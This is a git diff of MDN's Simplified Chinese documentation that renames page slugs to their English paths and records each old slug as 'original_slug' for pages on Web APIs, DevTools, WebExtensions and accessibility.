    diff --git a/files/zh-cn/mdn/yari/index.html b/files/zh-cn/mdn/yari/index.html index d506a15fbe..96e5304ca1 100644 --- a/files/zh-cn/mdn/yari/index.html +++ b/files/zh-cn/mdn/yari/index.html @@ -1,11 +1,12 @@ --- title: 'Kuma: MDN 的 wiki 平台' -slug: MDN/Kuma +slug: MDN/Yari tags: - Kuma - wiki - 平台 translation_of: MDN/Kuma +original_slug: MDN/Kuma ---
    {{MDNSidebar}}{{IncludeSubnav("/en-US/docs/MDN")}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html index 5fecb4334f..1f3657f79c 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/index.html @@ -1,11 +1,12 @@ --- title: clipboard -slug: Mozilla/Add-ons/WebExtensions/API/剪切板 +slug: Mozilla/Add-ons/WebExtensions/API/clipboard tags: - 剪切板 - 扩展 - 附加组件 translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard +original_slug: Mozilla/Add-ons/WebExtensions/API/剪切板 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html index 3cdaf45b08..9e200ab1cd 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/clipboard/setimagedata/index.html @@ -1,6 +1,6 @@ --- title: clipboard.setImageData() -slug: Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData +slug: Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData tags: - API - Clipboard @@ -9,6 +9,7 @@ tags: - 拓展 - 方法 translation_of: Mozilla/Add-ons/WebExtensions/API/clipboard/setImageData +original_slug: Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData ---
    {{AddonSidebar()}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html index d59f29ffde..32197fc3d8 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/devtools/inspectedwindow/index.html @@ -1,7 +1,8 @@ --- title: devtools.inspectedWindow -slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +slug: Mozilla/Add-ons/WebExtensions/API/devtools/inspectedWindow translation_of: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow +original_slug: Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html index ffcb6ce7b7..b661631739 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/menus/index.html @@ -1,11 +1,12 @@ --- title: contextMenus -slug: Mozilla/Add-ons/WebExtensions/API/contextMenus +slug: Mozilla/Add-ons/WebExtensions/API/menus tags: - API - WebExtensions - contextMenus translation_of: Mozilla/Add-ons/WebExtensions/API/menus +original_slug: Mozilla/Add-ons/WebExtensions/API/contextMenus ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html b/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html index 9afe6e80a8..3d2b4ea139 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/api/tabs/query/index.html @@ -1,7 +1,8 @@ --- title: 选项卡. 查询 () -slug: Mozilla/Add-ons/WebExtensions/API/tabs/查询 +slug: Mozilla/Add-ons/WebExtensions/API/tabs/query translation_of: Mozilla/Add-ons/WebExtensions/API/tabs/query +original_slug: Mozilla/Add-ons/WebExtensions/API/tabs/查询 ---
    [阿登侧边栏()]
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html b/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html index 6d1a21497c..4c1098d32e 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/build_a_cross_browser_extension/index.html @@ -1,12 +1,13 @@ --- title: 构建一个跨浏览器的扩展程序 -slug: Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件 +slug: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension tags: - Web插件 - 扩展 - 指南 - 插件 translation_of: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension +original_slug: Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件 ---

    {{AddonSidebar()}}

    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html b/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html index fe8ac2e0a7..8453fa87ee 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/implement_a_settings_page/index.html @@ -1,7 +1,8 @@ --- title: 实现一个设置页面 -slug: Mozilla/Add-ons/WebExtensions/实现一个设置页面 +slug: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page translation_of: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page +original_slug: Mozilla/Add-ons/WebExtensions/实现一个设置页面 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html b/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html index 01749d5ff3..042975b101 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.html @@ -1,7 +1,8 @@ --- title: homepage_url -slug: Mozilla/Add-ons/WebExtensions/manifest.json/主页地址 +slug: Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url +original_slug: Mozilla/Add-ons/WebExtensions/manifest.json/主页地址 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html b/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html index 8d13bfaf2c..2f75bf37ab 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/user_interface/sidebars/index.html @@ -1,7 +1,8 @@ --- title: 侧边栏 -slug: Mozilla/Add-ons/WebExtensions/user_interface/侧边栏 +slug: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars translation_of: Mozilla/Add-ons/WebExtensions/user_interface/Sidebars +original_slug: Mozilla/Add-ons/WebExtensions/user_interface/侧边栏 ---
    {{AddonSidebar}}
    diff --git a/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html b/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html index 962e04d404..d3c1f69ea4 100644 --- a/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html +++ b/files/zh-cn/mozilla/add-ons/webextensions/your_second_webextension/index.html @@ -1,7 +1,8 @@ --- title: 你的第二个 WebExtension -slug: Mozilla/Add-ons/WebExtensions/Walkthrough +slug: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension +original_slug: Mozilla/Add-ons/WebExtensions/Walkthrough ---

    {{AddonSidebar}}

    diff --git a/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html index c026e80052..fdde8484a3 100644 --- a/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Site Compatibility for Firefox 19 -slug: Site_Compatibility_for_Firefox_19 +slug: Mozilla/Firefox/Releases/19/Site_compatibility translation_of: Mozilla/Firefox/Releases/19/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_19 ---
    {{FirefoxSidebar}}

    {{ draft() }}

    Firefox 19 Beta was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

    diff --git a/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html index cf566f4262..ca4ee89c81 100644 --- a/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Firefox 21网站兼容性 -slug: Site_Compatibility_for_Firefox_21 +slug: Mozilla/Firefox/Releases/21/Site_compatibility translation_of: Mozilla/Firefox/Releases/21/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_21 ---
    {{FirefoxSidebar}}

    CSS

    diff --git a/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html index 34f2ab9b60..b2bb77a090 100644 --- a/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Site Compatibility for Firefox 23 -slug: Site_Compatibility_for_Firefox_23 +slug: Mozilla/Firefox/Releases/23/Site_compatibility translation_of: Mozilla/Firefox/Releases/23/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_23 ---
    {{FirefoxSidebar}}

    {{ draft() }}

    Firefox 23 Aurora (pre-Beta) was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

    diff --git a/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html index 296e580123..ea8e39cc15 100644 --- a/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html +++ b/files/zh-cn/mozilla/firefox/releases/24/site_compatibility/index.html @@ -1,7 +1,8 @@ --- title: Firefox 24网站兼容性 -slug: Site_Compatibility_for_Firefox_24 +slug: Mozilla/Firefox/Releases/24/Site_compatibility translation_of: Mozilla/Firefox/Releases/24/Site_compatibility +original_slug: Site_Compatibility_for_Firefox_24 ---
    {{FirefoxSidebar}}

    {{ draft() }}

    Firefox 24 Aurora (pre-Beta) will be released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

    diff --git a/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html b/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html index 96a2e8ec19..1202baaa23 100644 --- a/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html +++ b/files/zh-cn/mozilla/firefox/releases/3/updating_extensions/index.html @@ -1,9 +1,10 @@ --- title: 为Firefox 3升级扩展 -slug: Updating_extensions_for_Firefox_3 +slug: Mozilla/Firefox/Releases/3/Updating_extensions tags: - Firefox 3 translation_of: Mozilla/Firefox/Releases/3/Updating_extensions +original_slug: Updating_extensions_for_Firefox_3 ---
    diff --git a/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html b/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html index d57e5adef5..797cccfd90 100644 --- a/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html +++ b/files/zh-cn/orphaned/web/web_components/status_in_firefox/index.html @@ -1,7 +1,8 @@ --- title: Status of Web Components support in Firefox -slug: Web/Web_Components/Status_in_Firefox +slug: orphaned/Web/Web_Components/Status_in_Firefox translation_of: Web/Web_Components/Status_in_Firefox +original_slug: Web/Web_Components/Status_in_Firefox ---

    {{DefaultAPISidebar("Web Components")}}{{SeeCompatTable}}

    diff --git a/files/zh-cn/tools/3d_view/index.html b/files/zh-cn/tools/3d_view/index.html index 60ea480269..160e4947da 100644 --- a/files/zh-cn/tools/3d_view/index.html +++ b/files/zh-cn/tools/3d_view/index.html @@ -1,7 +1,8 @@ --- title: 三维视图 -slug: Tools/Page_Inspector/3D_view +slug: Tools/3D_View translation_of: Tools/3D_View +original_slug: Tools/Page_Inspector/3D_view ---
    {{ToolsSidebar}}
    diff --git a/files/zh-cn/tools/deprecated_tools/index.html b/files/zh-cn/tools/deprecated_tools/index.html index f7bb80e5bf..a0a20ea69e 100644 --- a/files/zh-cn/tools/deprecated_tools/index.html +++ b/files/zh-cn/tools/deprecated_tools/index.html @@ -1,7 +1,8 @@ --- title: 不推荐的工具 -slug: Tools/不推荐的工具 +slug: Tools/Deprecated_tools translation_of: Tools/Deprecated_tools +original_slug: Tools/不推荐的工具 ---

    {{ToolsSidebar}}

    diff --git a/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html b/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html index a5a6ae1e6e..30980e94b2 100644 --- a/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html +++ b/files/zh-cn/tools/page_inspector/how_to/edit_fonts/index.html @@ -1,7 +1,8 @@ --- title: View fonts -slug: Tools/Page_Inspector/How_to/View_fonts +slug: Tools/Page_Inspector/How_to/Edit_fonts translation_of: Tools/Page_Inspector/How_to/Edit_fonts +original_slug: Tools/Page_Inspector/How_to/View_fonts ---
    {{ToolsSidebar}}

    font-family tooltip 字体系列提示

    diff --git a/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html b/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html index 13f27d0a4a..1783fa6294 100644 --- a/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html +++ b/files/zh-cn/tools/remote_debugging/debugging_firefox_for_android_with_webide/index.html @@ -1,6 +1,7 @@ --- title: Debugging Firefox for Android with WebIDE -slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone +slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE +original_slug: Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone ---
    {{ToolsSidebar}}

    This article describes how to connect the Firefox Developer Tools to Firefox for Android from Firefox 36 onwards.

    It's been possible for a long time to connect the Firefox Developer Tools to Firefox for Android so you can debug your mobile website. Until now, though, this was a fairly complex and error-prone process. From Firefox 36 we've made the process much simpler: in particular, you don't need to deal directly with the adb tool at all. Now you connect using  WebIDE, which takes care of setting up adb behind the scenes.

    diff --git a/files/zh-cn/tools/responsive_design_mode/index.html b/files/zh-cn/tools/responsive_design_mode/index.html index b0ea0712a4..eb476f19df 100644 --- a/files/zh-cn/tools/responsive_design_mode/index.html +++ b/files/zh-cn/tools/responsive_design_mode/index.html @@ -1,7 +1,8 @@ --- title: 响应式设计视图 -slug: Tools/Responsive_Design_View +slug: Tools/Responsive_Design_Mode translation_of: Tools/Responsive_Design_Mode +original_slug: Tools/Responsive_Design_View ---
    {{ToolsSidebar}}

    响应式设计采用不同的屏幕尺寸来呈现在各种设备(例如移动电话或者平板电脑)下的可视情况。响应式设计视图使您可以很容易地看到您的网站或者网站app在不同屏幕尺寸下的外观。

    diff --git a/files/zh-cn/tools/storage_inspector/index.html b/files/zh-cn/tools/storage_inspector/index.html index 198d5d5b92..a10fa13f8d 100644 --- a/files/zh-cn/tools/storage_inspector/index.html +++ b/files/zh-cn/tools/storage_inspector/index.html @@ -1,7 +1,8 @@ --- title: 存储查看器 -slug: Tools/存储查看器 +slug: Tools/Storage_Inspector translation_of: Tools/Storage_Inspector +original_slug: Tools/存储查看器 ---
    {{ToolsSidebar}}
    diff --git a/files/zh-cn/tools/tips/index.html b/files/zh-cn/tools/tips/index.html index c7a2cfc304..2f22e393ba 100644 --- a/files/zh-cn/tools/tips/index.html +++ b/files/zh-cn/tools/tips/index.html @@ -1,10 +1,11 @@ --- title: 小技巧 -slug: Tools/小技巧 +slug: Tools/Tips tags: - 开发工具 - 网络开发 translation_of: Tools/Tips +original_slug: Tools/小技巧 ---
    {{ToolsSidebar}}
    diff --git a/files/zh-cn/tools/web_audio_editor/index.html b/files/zh-cn/tools/web_audio_editor/index.html index cc5c8bd4f7..a80b7f0908 100644 --- a/files/zh-cn/tools/web_audio_editor/index.html +++ b/files/zh-cn/tools/web_audio_editor/index.html @@ -1,9 +1,10 @@ --- title: Web 音频编辑器 -slug: Tools/Web音频编辑器 +slug: Tools/Web_Audio_Editor tags: - 工具 translation_of: Tools/Web_Audio_Editor +original_slug: Tools/Web音频编辑器 ---
    {{ToolsSidebar}}

    Web 音频编辑器在 Firefox 32 推出。

    diff --git a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html index 8b7f706afa..609558f2e4 100644 --- a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html +++ b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html @@ -1,6 +1,6 @@ --- title: 使用aria-hidden属性 -slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute tags: - HTML - Rôle @@ -10,6 +10,7 @@ tags: - 客户端 - 警告 translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute +original_slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 ---

    {{draft}}

    diff --git a/files/zh-cn/web/accessibility/aria/roles/button_role/index.html b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html index e0e35c449a..6bfea20c6d 100644 --- a/files/zh-cn/web/accessibility/aria/roles/button_role/index.html +++ b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html @@ -1,11 +1,12 @@ --- title: Using the button role -slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role +slug: Web/Accessibility/ARIA/Roles/button_role tags: - ARIA - 可访问性 - 无障碍 translation_of: Web/Accessibility/ARIA/Roles/button_role +original_slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role ---

    button 角色应该用于可单击的元素, 当用户激活时触发响应。 在其本身,role="button" 可以使任何元素 (e.g. {{HTMLElement("p")}}, {{HTMLElement("span")}} or {{HTMLElement("div")}}) 作为一个屏幕阅读器的按钮控件出现。此外,该角色还可以与 aria-pressed 属性组合使用,以创建切换按钮。

    diff --git a/files/zh-cn/web/api/abortcontroller/abort/index.html b/files/zh-cn/web/api/abortcontroller/abort/index.html index d661e73d2b..a37eda8176 100644 --- a/files/zh-cn/web/api/abortcontroller/abort/index.html +++ b/files/zh-cn/web/api/abortcontroller/abort/index.html @@ -1,7 +1,8 @@ --- title: AbortController.abort() -slug: Web/API/FetchController/abort +slug: Web/API/AbortController/abort translation_of: Web/API/AbortController/abort +original_slug: Web/API/FetchController/abort ---
    {{APIRef("DOM")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html index 35fe67d1ae..036806e29a 100644 --- a/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html +++ b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html @@ -1,11 +1,12 @@ --- title: AbortController.AbortController() -slug: Web/API/FetchController/AbortController +slug: Web/API/AbortController/AbortController tags: - AbortController - Constructor - Fetch translation_of: Web/API/AbortController/AbortController +original_slug: Web/API/FetchController/AbortController ---
    {{APIRef("DOM")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/index.html index 4211eb8211..c29b4a0a7d 100644 --- a/files/zh-cn/web/api/abortcontroller/index.html +++ b/files/zh-cn/web/api/abortcontroller/index.html @@ -1,12 +1,13 @@ --- title: AbortController -slug: Web/API/FetchController +slug: Web/API/AbortController tags: - API - AbortController - Fetch - how to cancel a fetch request translation_of: Web/API/AbortController +original_slug: Web/API/FetchController ---
    {{APIRef("DOM")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/ambient_light_events/index.html b/files/zh-cn/web/api/ambient_light_events/index.html index f90edf8ca2..62bc1d8d4f 100644 --- a/files/zh-cn/web/api/ambient_light_events/index.html +++ b/files/zh-cn/web/api/ambient_light_events/index.html @@ -1,11 +1,12 @@ --- title: Using Light Events -slug: Web/API/DeviceLightEvent/Using_light_events +slug: Web/API/Ambient_Light_Events tags: - WebAPI - 事件 - 环境光 translation_of: Web/API/Ambient_Light_Events +original_slug: Web/API/DeviceLightEvent/Using_light_events ---
    {{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
    diff --git a/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html index b2b592a422..c17c74869c 100644 --- a/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html +++ b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html @@ -1,8 +1,9 @@ --- title: reading -slug: Web/API/AmbientLightSensor/reading +slug: Web/API/AmbientLightSensor/illuminance translation_of: Web/API/AmbientLightSensor/illuminance translation_of_original: Web/API/AmbientLightSensor/reading +original_slug: Web/API/AmbientLightSensor/reading ---

    {{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html index 2d00a8a100..b302a0ab96 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createanalyser/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createAnalyser() -slug: Web/API/AudioContext/createAnalyser +slug: Web/API/BaseAudioContext/createAnalyser translation_of: Web/API/BaseAudioContext/createAnalyser +original_slug: Web/API/AudioContext/createAnalyser ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html index fa5884ad71..7f8210c2f4 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createbiquadfilter/index.html @@ -1,6 +1,6 @@ --- title: AudioContext.createBiquadFilter() -slug: Web/API/AudioContext/createBiquadFilter +slug: Web/API/BaseAudioContext/createBiquadFilter tags: - API - EQ @@ -9,6 +9,7 @@ tags: - 方法 - 滤波器 translation_of: Web/API/BaseAudioContext/createBiquadFilter +original_slug: Web/API/AudioContext/createBiquadFilter ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html index 2d29213737..6a8e5b70fc 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffer/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.createBuffer() -slug: Web/API/AudioContext/createBuffer +slug: Web/API/BaseAudioContext/createBuffer tags: - 创建音频片段 - 接口 - 方法 - 音频环境 translation_of: Web/API/BaseAudioContext/createBuffer +original_slug: Web/API/AudioContext/createBuffer ---

    音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html index 5244513312..701ca8e220 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createbuffersource/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.createBufferSource() -slug: Web/API/AudioContext/createBufferSource +slug: Web/API/BaseAudioContext/createBufferSource tags: - API - 音源 - 音频源 - 音频节点 translation_of: Web/API/BaseAudioContext/createBufferSource +original_slug: Web/API/AudioContext/createBufferSource ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html index 281dcddfe7..2031548322 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelmerger/index.html @@ -1,12 +1,13 @@ --- title: AudioContext.createChannelMerger() -slug: Web/API/AudioContext/createChannelMerger +slug: Web/API/BaseAudioContext/createChannelMerger tags: - API - Audio - AudioContext - Audio_Chinese translation_of: Web/API/BaseAudioContext/createChannelMerger +original_slug: Web/API/AudioContext/createChannelMerger ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html index f46f5be2c5..37c482b6fd 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createchannelsplitter/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createChannelSplitter() -slug: Web/API/AudioContext/createChannelSplitter +slug: Web/API/BaseAudioContext/createChannelSplitter translation_of: Web/API/BaseAudioContext/createChannelSplitter +original_slug: Web/API/AudioContext/createChannelSplitter ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html index 2cbe395edc..ae97d90aac 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createconvolver/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createConvolver() -slug: Web/API/AudioContext/createConvolver +slug: Web/API/BaseAudioContext/createConvolver translation_of: Web/API/BaseAudioContext/createConvolver +original_slug: Web/API/AudioContext/createConvolver ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html index b8e502758d..baae047758 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createdelay/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createDelay() -slug: Web/API/AudioContext/createDelay +slug: Web/API/BaseAudioContext/createDelay translation_of: Web/API/BaseAudioContext/createDelay +original_slug: Web/API/AudioContext/createDelay ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html index 7e505bc06a..e8c722c908 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createscriptprocessor/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createScriptProcessor() -slug: Web/API/AudioContext/createScriptProcessor +slug: Web/API/BaseAudioContext/createScriptProcessor translation_of: Web/API/BaseAudioContext/createScriptProcessor +original_slug: Web/API/AudioContext/createScriptProcessor ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html index 7aef8d5688..10986c407e 100644 --- a/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/createwaveshaper/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.createWaveShaper() -slug: Web/API/AudioContext/createWaveShaper +slug: Web/API/BaseAudioContext/createWaveShaper translation_of: Web/API/BaseAudioContext/createWaveShaper +original_slug: Web/API/AudioContext/createWaveShaper ---

    {{ APIRef("Web Audio API") }}

    diff --git a/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html index fbdaf4315c..57e190cb46 100644 --- a/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html +++ b/files/zh-cn/web/api/baseaudiocontext/currenttime/index.html @@ -1,7 +1,8 @@ --- title: AudioContext.currentTime -slug: Web/API/AudioContext/currentTime +slug: Web/API/BaseAudioContext/currentTime translation_of: Web/API/BaseAudioContext/currentTime +original_slug: Web/API/AudioContext/currentTime ---

    {{ APIRef("Web Audio API") }}

